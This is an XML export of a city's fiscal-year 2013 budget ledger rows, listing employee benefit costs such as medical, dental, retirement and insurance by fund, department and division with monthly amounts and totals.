<row _id="1242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1267549.0</july><august>0</august><september>0.0</september><october>26122.0</october><november>-26122</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1267549.0</total></row>
<row _id="1243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313899.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313899.0</total></row>
<row _id="1244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>96064.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96064.0</total></row>
<row _id="1245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8769.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8769.0</total></row>
<row _id="1246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>64353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64353.0</total></row>
<row _id="1247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>43</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4293.0</total></row>
<row _id="1248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>170</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17176.0</total></row>
<row _id="1249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12590.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12590.0</total></row>
<row _id="1250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14360.0</total></row>
<row _id="1251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2040.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2033.0</total></row>
<row _id="1252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43834.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43834.0</total></row>
<row _id="1253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4778.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4778.0</total></row>
<row _id="1254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1422</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1422.0</total></row>
<row _id="1255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4900.0</total></row>
<row _id="1256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12959.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1122</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11837.0</total></row>
<row _id="1257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11873.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11873.0</total></row>
<row _id="1258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1503.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1503.0</total></row>
<row _id="1259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>45605.0</july><august>0</august><september>0.0</september><october>-222.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45383.0</total></row>
<row _id="1260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>958.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>958.0</total></row>
<row _id="1261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3263.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3263.0</total></row>
<row _id="1262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>142457.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>142457.0</total></row>
<row _id="1263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>83314.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>83314.0</total></row>
<row _id="1264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>221137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2211</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>223348.0</total></row>
<row _id="1265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>367.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>367.0</total></row>
<row _id="1266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10076.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>401</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10477.0</total></row>
<row _id="1267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8833.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>88</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8921.0</total></row>
<row _id="1268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1464.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1464.0</total></row>
<row _id="1269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24251.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>290</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24541.0</total></row>
<row _id="1270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>360.0</july><august>0</august><september>0.0</september><october>120.0</october><november>0</november><december>0</december><january>0.0</january><february>36</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>516.0</total></row>
<row _id="1271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9222.0</july><august>0</august><september>0.0</september><october>-600.0</october><november>0</november><december>0</december><january>0.0</january><february>86</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8708.0</total></row>
<row _id="1272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1844.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1844.0</total></row>
<row _id="1273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4097.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>41</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4138.0</total></row>
<row _id="1274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3672.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>37</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3709.0</total></row>
<row _id="1275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="1276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>831</april><may>0</may><june>0.0</june><total>831.0</total></row>
<row _id="1277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9600.0</total></row>
<row _id="1278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16032.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16032.0</total></row>
<row _id="1279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2882.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2911.0</total></row>
<row _id="1280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>25396.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>254</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25650.0</total></row>
<row _id="1281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4212.0</july><august>254</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>45</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4511.0</total></row>
<row _id="1282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>21516.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21516.0</total></row>
<row _id="1283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3214.0</total></row>
<row _id="1284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17374.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>174</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17548.0</total></row>
<row _id="1285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>20</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2015.0</total></row>
<row _id="1286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2509.0</total></row>
<row _id="1287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14442.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>144</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14586.0</total></row>
<row _id="1288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9449.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9449.0</total></row>
<row _id="1289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1512.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1512.0</total></row>
